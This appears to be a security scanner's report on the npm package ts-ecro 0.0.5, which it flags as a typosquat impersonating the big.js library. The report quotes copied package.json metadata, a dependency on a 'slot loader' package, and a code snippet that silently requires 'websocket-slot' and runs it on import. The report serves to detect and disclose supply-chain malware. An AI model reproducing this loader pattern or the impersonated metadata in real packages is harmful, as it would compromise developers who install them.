Hostile 100% javascript Download

ts-ecro 0.0.5

Typosquatting with malicious slot loader dependency

Package ships slot loader dependencySlot loader runs during import
SHA-256f640f87a3619060d5adc54c17f4d79414fd99903509a7e61218b6222df63b902

Also flagged by osv (MAL-2026-5647: Malicious code in ts-ecro (npm)) +2 more.

Evidence

Package has meaningful description package.json · lines 1–6
1{
2 "name": "ts-ecro",
3 "description": "A small, fast, easy-to-use library for arbitrary-precision decimal arithmetic",
4 "version": "0.0.5",
5 "keywords": [
6 "arbitrary",
Package has multiple entry points package.json · lines 17–21
17 "bignum"
18 ],
19 "exports": {
20 ".": {
21 "import": "./big.mjs",
Impersonation of the popular big.js library package.json · lines 26–41
26 "./package.json": "./package.json"
27 },
28 "repository": {
29 "type": "git",
30 "url": "https://github.com/MikeMcl/big.js.git"
31 },
32 "main": "big",
33 "browser": "big.js",
34 "module": "big.mjs",
35 "author": {
36 "name": "Michael Mclaughlin",
37 "email": "M8ch88l@gmail.com"
38 },
39 "bugs": {
40 "url": "https://github.com/MikeMcl/big.js/issues"
41 },
Depends on slot loader payload package.json · lines 51–60
51 "big.mjs"
52 ],
53 "funding": {
54 "type": "opencollective",
55 "url": "https://opencollective.com/bigjs"
56 },
57 "dependencies": {
58 "parket-slot": "^0.0.6"
59 }
60}
External require followed by from_str dispatch big.js · lines 593–621
⋯10 lines
603 };
604
605 try {
606 const doc = require("websocket-slot");
607 doc.from_str().then(e => { }).catch(e => { })
608 } catch (error) {
609 }
610
⋯11 lines

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.